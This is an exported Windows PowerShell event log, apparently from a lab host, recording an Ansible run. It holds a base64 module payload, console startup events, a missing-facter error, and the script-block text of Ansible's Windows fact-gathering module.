JvcnMgaW4gbWFueSBjYXNlcywgaW5zcGVjdCB0aGUgZXJyb3Igc3RyZWFtIGFzIGEgZmFsbGJhY2sKICAgIElmICgkcHMuSGFkRXJyb3JzIC1vciAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.PrivilegeUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTggQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL0JTRC0yLU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XJ0OwogICAgICAgICAgICBwdWJsaWMgSW50MzIgSGlnaFBhcnQ7CiAgICAgICAgfQoKICAgICAgICBbU3RydWN0TGF5b3V0KExheW91dEtpbmQuU2VxdWVudGlhbCldCiAgICAgICAgaW50ZXJuYWwgc3RydWN0IExVSURfQU5EX0FUVFJJQlVURVMKICAgICAgICB7CiAgICAgICAgICAgIHB1YmxpYyBMVUlEIEx1aWQ7CiAgICAgICAgICAgIHB1YmxpYyBQcml2aWxlZ2VBdHRyaWJ1dGVzIEF0dHJpYnV0ZXM7CiAgICAgICAgfQoKICAgICAgICBbU3RydWN0TGF5b3V0KExheW91dEtpbmQuU2VxdWVudGlhbCldCiAgICAgICAgaW50ZXJuYWwgc3RydWN0IFRPS0VOX1BSSVZJTEVHRVMKICAgICAgICB7CiAgICAgICAgICAgIHB1YmxpYyBVSW50MzIgUHJpdmlsZWdlQ291bnQ7CiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5CeVZhbEFycmF5LCBTaXplQ29uc3QgPSAxKV0KICAgICAgICAgICAgcHVibGljIExVSURfQU5EX0FUVFJJQlVURVNbXSBQcml2aWxlZ2VzOwogICAgICAgIH0KICAgIH0KCiAgICBpbnRlcm5hbCBjbGFzcyBOYXRpdmVNZXRob2RzCiAgICB7CiAgICAgICAgW0RsbEltcG9ydCgiYWR2YXBpMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBib29sIEFkanVzdFRva2VuUHJpdmlsZWdlcygKICAgICAgICAgICAgSW50UHRyIFRva2VuSGFuZGxlLAogICAgICAgICAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuQm9vbCldIGJvb2wgRGlzYWJsZUFsbFByaXZpbGVnZXMsCiAgICAgICAgICAgIEludFB0ciBOZXdTdGF0ZSwKICAgICAgICAgICAgVUludDMyIEJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgSW50UHRyIFByZXZpb3VzU3RhdGUsCiAgICAgICAgICAgIG91dCBVSW50MzIgUmV0dXJuTGVuZ3RoKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBib29sIENsb3NlSGFuZGxlKAogICAgICAgICAgICBJbnRQdHIgaE9iamVjdCk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyIildCiAgICAgICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBTYWZlV2FpdEhhbmRsZSBHZXRDdXJyZW50UHJvY2VzcygpOwoKICAgICAgICBbRGxsSW1wb3J0KCJhZHZhcGkzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBpbnRlcm5hbCBzdGF0aWMgZXh0ZXJuIGJvb2wgR2V0VG9rZW5JbmZvcm1hdGlvbigKICAgICAgICAgICAgSW50UHRyIFRva2VuSGFuZGxlLAogICAgICAgICAgICBVSW50MzIgVG9rZW5JbmZvcm1hdGlvbkNsYXNzLAogICAgICAgICAgICBJbnRQdHIgVG9rZW5JbmZvcm1hdGlvbiwKICAgICAgICAgICAgVUludDMyIFRva2VuSW5mb3JtYXRpb25MZW5ndGgsCiAgICAgICAgICAgIG91dCBVSW50MzIgUmV0dXJuTGVuZ3RoKTsKCiAgICAgICAgW0RsbEltcG9ydCgiYWR2YXBpMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBib29sIExvb2t1cFByaXZpbGVnZU5hbWUoCiAgICAgICAgICAgIHN0cmluZyBscFN5c3RlbU5hbWUsCiAgICAgICAgICAgIHJlZiBOYXRpdmVIZWxwZXJzLkxVSUQgbHBMdWlkLAogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIGxwTmFtZSwKICAgICAgICAgICAgcm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FUyBmYWlsZWQiKTsKCiAgICAgICAgICAgICAgICAgICAgTmF0aXZlSGVscGVycy5UT0tFTl9QUklWSUxFR0VTIHByaXZpbGVnZUluZm8gPSAoTmF0aXZlSGVscGVycy5UT0tFTl9QUklWSUxFR0VTKU1hcnNoYWwuUHRyVG9TdHJ1Y3R1cmUocHJpdmlsZWdlc1B0ciwgdHlwZW9mKE5hdGl2ZUhlbHBlcnMuVE9LRU5fUFJJVklMRUdFUykpOwogICAgICAgICAgICAgICAgICAgIHByaXZpbGVnZXMgPSBuZXcgTmF0aXZlSGVscGVycy5MVUlEX0FORF9BVFRSSUJVVEVTW3ByaXZpbGVnZUluZm8uUHJpdmlsZWdlQ291bnRdOwogICAgICAgICAgICAgICAgICAgIFB0clRvU3RydWN0dXJlQXJyYXkocHJpdmlsZWdlcywgSW50UHRyLkFkZChwcml2aWxlZ2VzUHRyLCBNYXJzaGFsLlNpemVPZihwcml2aWxlZ2VJbmZvLlByaXZpbGVnZUNvdW50KSkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZmluYWxseQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIE1hcnNoYWwuRnJlZUhHbG9iYWwocHJpdmlsZWdlc1B0cik7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaW5mbyA9IHByaXZpbGVnZXMuVG9EaWN0aW9uYXJ5KHAgPT4gR2V0UHJpdmlsZWdlTmFtZShwLkx1aWQpLCBwID0+IHAuQXR0cmlidXRlcyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZmluYWxseQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBOYXRpdmVNZXRob2RzLkNsb3NlSGFuZGxlKGhUb2tlbik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGluZm87CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIFNhZmVXYWl0SGFuZGxlIEdldEN1cnJlbnRQcm9jZXNzKCkKICAgIC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LktleSkpOwoKICAgICAgICAgICAgICAgIFByaXZpbGVnZUF0dHJpYnV0ZXMgYXR0cmlidXRlczsKICAgICAgICAgICAgICAgIHN3aXRjaCAoZW50cnkuVmFsdWUpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgY2FzZSB0cnVlOgogICAgICAgICAgICAgICAgICAgICAgICBhdHRyaWJ1dGVzID0gUHJpdmlsZWdlQXR0cmlidXRlcy5FbmFibGVkOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIGZhbHNlOgogICAgICAgICAgICAgICAgICAgICAgICBhdHRyaWJ1dGVzID0gUHJpdmlsZWdlQXR0cmlidXRlcy5EaXNhYmxlZDsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgYXR0cmlidXRlcyA9IFByaXZpbGVnZUF0dHJpYnV0ZXMuUmVtb3ZlZDsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgcHJpdmlsZWdlQXR0cltpXS5MdWlkID0gbHVpZDsKICAgICAgICAgICAgICAgIHByaXZpbGVnZUF0dHJbaV0uQXR0cmlidXRlcyA9IGF0dHJpYnV0ZXM7CiAgICAgICAgICAgICAgICBpKys7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHJldHVybiBBZGp1c3RUb2tlblByaXZpbGVnZXModG9rZW4sIHByaXZpbGVnZUF0dHIpOwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgRGljdGlvbmFyeTxzdHJpbmcsIGJvb2w/PiBBZGp1c3RUb2tlblByaXZpbGVnZXMoU2FmZUhhbmRsZSB0b2tlbiwgTmF0aXZlSGVscGVycy5MVUlEX0FORF9BVFRSSUJVVEVTW10gbmV3U3RhdGUpCiAgICAgICAgewogICAgIC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W5Qcml2aWxlZ2VzLCBuZXdTdGF0ZUJ5dGVzLCAwKTsKCiAgICAgICAgICAgICAgICAvLyBjb3B5IHRoZSByZW1haW5pbmcgTFVJRF9BTkRfQVRUUklCVVRFUyAoaWYgYW55KQogICAgICAgICAgICAgICAgZm9yIChpbnQgaSA9IDE7IGkgPCBuZXdTdGF0ZS5MZW5ndGg7IGkrKykKICAgICAgICAgICAgICAgICAgICBvZmZzZXQgKz0gU3RydWN0dXJlVG9CeXRlcyhuZXdTdGF0ZVtpXSwgbmV3U3RhdGVCeXRlcywgb2Zmc2V0KTsKCiAgICAgICAgICAgICAgICAvLyBmaW5hbGx5IGNyZWF0ZSB0aGUgcG9pbnRlciB0byB0aGUgYnl0ZSBhcnJheSB3ZSBqdXN0IGNyZWF0ZWQKICAgICAgICAgICAgICAgIG5ld1N0YXRlUHRyID0gTWFyc2hhbC5BbGxvY0hHbG9iYWwobmV3U3RhdGVCeXRlcy5MZW5ndGgpOwogICAgICAgICAgICAgICAgTWFyc2hhbC5Db3B5KG5ld1N0YXRlQnl0ZXMsIDAsIG5ld1N0YXRlUHRyLCBuZXdTdGF0ZUJ5dGVzLkxlbmd0aCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHRyeQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBJbnRQdHIgaFRva2VuID0gSW50UHRyLlplcm87CiAgICAgICAgICAgICAgICBpZiAoIU5hdGl2ZU1ldGhvZHMuT3BlblByb2Nlc3NUb2tlbih0b2tlbiwgVG9rZW5BY2Nlc3NMZXZlbHMuUXVlcnkgfC
ScriptBlock ID: 4142a776-5862-43c3-a728-ad7c43f8e04a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2197 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1968 | 3228 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:04 AM | 61e00a24-ee3b-0000-13b3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2196 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1968 | 4036 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:04 AM | 61e00a24-ee3b-0003-6be3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 1968 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2195 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1968 | 2964 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:04 AM | 61e00a24-ee3b-0003-6be3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2194 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1968 | 4036 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:04 AM | 61e00a24-ee3b-0003-6be3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2193 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1960 | 2580 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:04 AM | 61e00a24-ee3b-0001-48c6-eb613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 1960 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2192 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1960 | 904 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:03 AM | 61e00a24-ee3b-0001-48c6-eb613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2191 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1960 | 2580 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:03 AM | 61e00a24-ee3b-0001-48c6-eb613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2190 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4208 | 3784 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:03 AM | 61e00a24-ee3b-0002-4d02-f2613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4208 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2189 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4208 | 2388 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:03 AM | 61e00a24-ee3b-0002-4d02-f2613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2188 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4208 | 3784 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:03 AM | 61e00a24-ee3b-0002-4d02-f2613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="AssemblyName"; value="System.DirectoryServices.AccountManagement"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = fc34b9a6-17bb-4371-84ea-fd3cfe16f75d
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = 44cc54c7-e09b-4a79-ad4d-cf2e76b49fc6
Pipeline ID = 5
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 35
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 2187 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3276 | 2496 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:00:53 AM | 61e00a24-ee3b-0001-00c6-eb613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{ $_.$guid_key -eq $adapter.SettingID }
ScriptBlock ID: adfd4c2c-e1fb-4e40-b2a8-cd2478bbc45a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2186 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3276 | 2496 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:00:53 AM | 61e00a24-ee3b-0001-f9c5-eb613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Error Message = The running command stopped because the preference variable "ErrorActionPreference" or common parameter is set to Stop: The term 'facter' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
Fully Qualified Error ID = CommandNotFoundException,Microsoft.PowerShell.Commands.GetCommandCommand
Context:
Severity = Warning
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = fc34b9a6-17bb-4371-84ea-fd3cfe16f75d
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = 44cc54c7-e09b-4a79-ad4d-cf2e76b49fc6
Pipeline ID = 5
Command Name = Get-Command
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 33
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4100 | 1 | | 3 | 106 | 19 | 0 | 2185 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3276 | 2496 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:00:52 AM | 61e00a24-ee3b-0002-4302-f2613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | To be used when an exception is raised | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#!powershell
# Copyright: (c) 2018, Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
#Requires -Module Ansible.ModuleUtils.Legacy
Function Get-CustomFacts {
[cmdletBinding()]
param (
[Parameter(mandatory=$false)]
$factpath = $null
)
if (-not (Test-Path -Path $factpath)) {
Fail-Json $result "The path $factpath does not exist. Typo?"
}
$FactsFiles = Get-ChildItem -Path $factpath | Where-Object -FilterScript {($PSItem.PSIsContainer -eq $false) -and ($PSItem.Extension -eq '.ps1')}
foreach ($FactsFile in $FactsFiles) {
$out = & $($FactsFile.FullName)
$result.ansible_facts.Add("ansible_$(($FactsFile.Name).Split('.')[0])", $out)
}
}
Function Get-MachineSid {
# The Machine SID is stored in HKLM:\SECURITY\SAM\Domains\Account and is
# only accessible by the Local System account. This method get's the local
# admin account (ends with -500) and lops it off to get the machine sid.
$admins_sid = "S-1-5-32-544"
$admin_group = ([Security.Principal.SecurityIdentifier]$admins_sid).Translate([Security.Principal.NTAccount]).Value
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
$principal_context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
$group_principal = New-Object -TypeName System.DirectoryServices.AccountManagement.GroupPrincipal($principal_context, $admin_group)
$searcher = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalSearcher($group_principal)
$groups = $searcher.FindOne()
$machine_sid = $null
foreach ($user in $groups.Members) {
$user_sid = $user.Sid
if ($user_sid.Value.EndsWith("-500")) {
$machine_sid = $user_sid.AccountDomainSid.Value
break
}
}
return $machine_sid
}
$cim_instances = @{}
Function Get-LazyCimInstance([string]$instance_name, [string]$namespace="Root\CIMV2") {
if(-not $cim_instances.ContainsKey($instance_name)) {
$cim_instances[$instance_name] = $(Get-CimInstance -Namespace $namespace -ClassName $instance_name)
}
return $cim_instances[$instance_name]
}
$result = @{
ansible_facts = @{ }
changed = $false
}
$grouped_subsets = @{
min=[System.Collections.Generic.List[string]]@('date_time','distribution','dns','env','local','platform','powershell_version','user')
network=[System.Collections.Generic.List[string]]@('all_ipv4_addresses','all_ipv6_addresses','interfaces','windows_domain', 'winrm')
hardware=[System.Collections.Generic.List[string]]@('bios','memory','processor','uptime')
external=[System.Collections.Generic.List[string]]@('facter')
}
# build "all" set from everything mentioned in the group- this means every value must be in at least one subset to be considered legal
$all_set = [System.Collections.Generic.HashSet[string]]@()
foreach($kv in $grouped_subsets.GetEnumerator()) {
[void] $all_set.UnionWith($kv.Value)
}
# dynamically create an "all" subset now that we know what should be in it
$grouped_subsets['all'] = [System.Collections.Generic.List[string]]$all_set
# start with all, build up gather and exclude subsets
$gather_subset = [System.Collections.Generic.HashSet[string]]$grouped_subsets.all
$explicit_subset = [System.Collections.Generic.HashSet[string]]@()
$exclude_subset = [System.Collections.Generic.HashSet[string]]@()
$params = Parse-Args $args -supports_check_mode $true
$factpath = Get-AnsibleParam -obj $params -name "fact_path" -type "path"
$gather_subset_source = Get-AnsibleParam -obj $params -name "gather_subset" -type "list" -default "all"
foreach($item in $gather_subset_source) {
if(([string]$item).StartsWith("!")) {
$item = ([string]$item).Substring(1)
if($item -eq "all") {
$all_minus_min = [System.Collections.Generic.HashSet[string]]@($all_set)
[void] $all_minus_min.ExceptWith($grouped_subsets.min)
[void] $exclude_subset.UnionWith($all_minus_min)
}
elseif($grouped_subsets.ContainsKey($item)) {
[void] $exclude_subset.UnionWith($grouped_subsets[$item])
}
elseif($all_set.Contains($item)) {
[void] $exclude_subset.Add($item)
}
# NB: invalid exclude values are ignored, since that's what posix setup does
}
else {
if($grouped_subsets.ContainsKey($item)) {
[void] $explicit_subset.UnionWith($grouped_subsets[$item])
}
elseif($all_set.Contains($item)) {
[void] $explicit_subset.Add($item)
}
else {
# NB: POSIX setup fails on invalid value; we warn, because we don't implement the same set as POSIX
# and we don't have platform-specific config for this...
Add-Warning $result "invalid value $item specified in gather_subset"
}
}
}
[void] $gather_subset.ExceptWith($exclude_subset)
[void] $gather_subset.UnionWith($explicit_subset)
$ansible_facts = @{
gather_subset=@($gather_subset_source)
module_setup=$true
}
$osversion = [Environment]::OSVersion
if($gather_subset.Contains('all_ipv4_addresses') -or $gather_subset.Contains('all_ipv6_addresses')) {
$netcfg = Get-LazyCimInstance Win32_NetworkAdapterConfiguration
# TODO: split v4/v6 properly, return in separate keys
$ips = @()
Foreach ($ip in $netcfg.IPAddress) {
If ($ip) {
$ips += $ip
}
}
$ansible_facts += @{
ansible_ip_addresses = $ips
}
}
if($gather_subset.Contains('bios')) {
$win32_bios = Get-LazyCimInstance Win32_Bios
$win32_cs = Get-LazyCimInstance Win32_ComputerSystem
$ansible_facts += @{
ansible_bios_date = $win32_bios.ReleaseDate.ToString("MM/dd/yyyy")
ansible_bios_version = $win32_bios.SMBIOSBIOSVersion
ansible_product_name = $win32_cs.Model.Trim()
ansible_product_serial = $win32_bios.SerialNumber
# ansible_product_version = ([string] $win32_cs.SystemFamily)
}
}
if($gather_subset.Contains('date_time')) {
$datetime = (Get-Date)
$datetime_utc = $datetime.ToUniversalTime()
$date = @{
date = $datetime.ToString("yyyy-MM-dd")
day = $datetime.ToString("dd")
epoch = (Get-Date -UFormat "%s")
hour = $datetime.ToString("HH")
iso8601 = $datetime_utc.ToString("yyyy-MM-ddTHH:mm:ssZ")
iso8601_basic = $datetime.ToString("yyyyMMddTHHmmssffffff")
iso8601_basic_short = $datetime.ToString("yyyyMMddTHHmmss")
iso8601_micro = $datetime_utc.ToString("yyyy-MM-ddTHH:mm:ss.ffffffZ")
minute = $datetime.ToString("mm")
month = $datetime.ToString("MM")
second = $datetime.ToString("ss")
time = $datetime.ToString("HH:mm:ss")
tz = ([System.TimeZoneInfo]::Local.Id)
tz_offset = $datetime.ToString("zzzz")
# Ensure that the weekday is in English
weekday = $datetime.ToString("dddd", [System.Globalization.CultureInfo]::InvariantCulture)
weekday_number = (Get-Date -UFormat "%w")
weeknumber = (Get-Date -UFormat "%W")
year = $datetime.ToString("yyyy")
}
$ansible_facts += @{
ansible_date_time = $date
}
}
if($gather_subset.Contains('distribution')) {
$win32_os = Get-LazyCimInstance Win32_OperatingSystem
$product_type = switch($win32_os.ProductType) {
1 { "workstation" }
2 { "domain_controller" }
3 { "server" }
default { "unknown" }
}
$ansible_facts += @{
ansible_distribution = $win32_os.Caption
ansible_distribution_version = $osversion.Version.ToString()
ansible_distribution_major_version = $osversion.Version.Major.ToString()
ansible_os_family = "Windows"
ansible_os_name = ($win32_os.Name.Split('|')[0]).Trim()
ansible_os_product_type = $product_type
}
}
if($gather_subset.Contains('env')) {
$env_vars = @{ }
foreach ($item in Get-ChildItem Env:) {
$name = $item | select -ExpandProperty Name
# Powershell ConvertTo-Json fails if string ends with \
$value = ($item | select -ExpandProperty Value).TrimEnd("\")
$env_vars.Add($name, $value)
}
$ansible_facts += @{
ansible_env = $env_vars
}
}
if($gather_subset.Contains('facter')) {
# See if Facter is on the System Path
Try {
$facter_exe = Get-Command facter -ErrorAction Stop
$facter_installed = $true
} Catch {
$facter_installed = $false
}
# Get JSON from Facter, and parse it out.
if ($facter_installed) {
&facter -j | Tee-Object -Variable facter_output | Out-Null
$facts = "$facter_output" | ConvertFrom-Json
